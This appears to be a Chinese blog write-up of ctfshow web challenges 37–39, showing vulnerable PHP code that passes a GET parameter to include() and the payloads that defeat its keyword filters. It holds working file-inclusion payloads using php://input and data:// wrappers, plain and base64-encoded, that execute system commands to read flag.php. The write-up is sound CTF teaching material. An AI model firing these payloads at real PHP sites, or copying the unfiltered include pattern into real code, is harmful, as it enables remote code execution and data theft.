ctfshow web入门 命令执行 37-39

37-39 基于 GET 传参的 include()

38、39 是 37 的变种

分析

  伪协议常用于文件包含漏洞中

  文件包含函数有:include、include_once、require、require_once、

          highlight_fire、show_source、

          fire_get_contents、fopen、file、readfire

 

web37

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;
    } 
}else{
    highlight_file(__FILE__);
}

ctf中常用 php://filter 与 php://input ,但由于flag被屏蔽,这里使用php://input

payload

法一 
使用 php://input 伪协议
get   c=php://input
post   <?=system('cat flag.php')?>
 


法二 
使用 data:// 伪协议
c=data://text/plain,<?php system("tac fl*g.php");?>  //对 flag 进行通配符匹配
c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZionKTs/Pg== //使用base64对 <?php system('cat flag.php')?> 进行编码

 

 web38

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|php|file/i", $c)){
        include($c);
        echo $flag;
    }    
}else{
    highlight_file(__FILE__);
}

在 web37 的基础上屏蔽 php、file

payload

//使用 data:// 伪协议
变一
使用 base64 编码
c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZionKTs/Pg==   

变二
利用php短标签替换长标签,通配符代替 php
c=data://text/plain,<?=system('cat f*')?>

 

web39

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c.".php");
    }
}else{
    highlight_file(__FILE__);
}

在 web37 的基础上拼接 .php,想达到屏蔽 .php 的效果,但在实际情况下根本没有达到预期的效果

原因

  代码

输出结果

 

又或者

 结果还是一致

 说明,使用字符拼接时,会先进行计算

 

验证猜想

发现一个bug,这里对 $q-$w 取绝对值,并无视了后续内容

 

 对后面部分加上括号,结果正常

 

 

 添加字母,为了更好的区分,这里很明显,对 $q-$w 取绝对值, '    T'.$q+$w 内容不显示

 

 

加上括号正常显示,对于这个意外的情况,我暂时解释不了

 

 

 对于我们的题目是先进行赋值,在进行字符拼接,因此和 web37 并无二异,payload 与 web37 一致

c=data://text/plain,<?php system("cat fl*g.php");?> 
include($c.".php");

 

 

参考

https://blog.csdn.net/m0_51507437/article/details/122777966

posted @ 2023-02-28 21:15  kazie  阅读(224)  评论(0编辑  收藏  举报